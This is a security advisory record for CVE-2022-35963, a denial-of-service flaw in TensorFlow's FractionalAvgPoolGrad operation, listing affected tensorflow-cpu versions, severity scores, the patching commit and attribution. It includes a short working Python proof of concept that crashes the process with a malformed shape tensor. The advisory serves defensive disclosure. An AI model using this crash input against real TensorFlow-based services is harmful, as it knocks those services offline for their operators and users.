CVE-2022-35963 – tensorflow-cpu

Package

Manager: pip
Name: tensorflow-cpu
Vulnerable Version: >=0 <2.7.2 || >=2.8.0 <2.8.1 || >=2.9.0 <2.9.1

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS: 0.00194 pctl0.41558

Details

TensorFlow vulnerable to `CHECK` failures in `FractionalAvgPoolGrad` ### Impact The implementation of `FractionalAvgPoolGrad` does not fully validate the input `orig_input_tensor_shape`. This results in an overflow that results in a `CHECK` failure which can be used to trigger a denial of service attack. ```python import tensorflow as tf overlapping = True orig_input_tensor_shape = tf.constant(-1879048192, shape=[4], dtype=tf.int64) out_backprop = tf.constant([], shape=[0,0,0,0], dtype=tf.float64) row_pooling_sequence = tf.constant(1, shape=[4], dtype=tf.int64) col_pooling_sequence = tf.constant(1, shape=[4], dtype=tf.int64) tf.raw_ops.FractionalAvgPoolGrad(orig_input_tensor_shape=orig_input_tensor_shape, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping) ``` ### Patches We have patched the issue in GitHub commit [03a659d7be9a1154fdf5eeac221e5950fec07dad](https://github.com/tensorflow/tensorflow/commit/03a659d7be9a1154fdf5eeac221e5950fec07dad). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

Metadata

Created: 2022-09-16T22:13:23Z
Modified: 2022-09-19T19:27:43Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/09/GHSA-84jm-4cf3-9jfm/GHSA-84jm-4cf3-9jfm.json
CWE IDs: ["CWE-617"]
Alternative ID: GHSA-84jm-4cf3-9jfm
Finding: F138
Auto approve: 1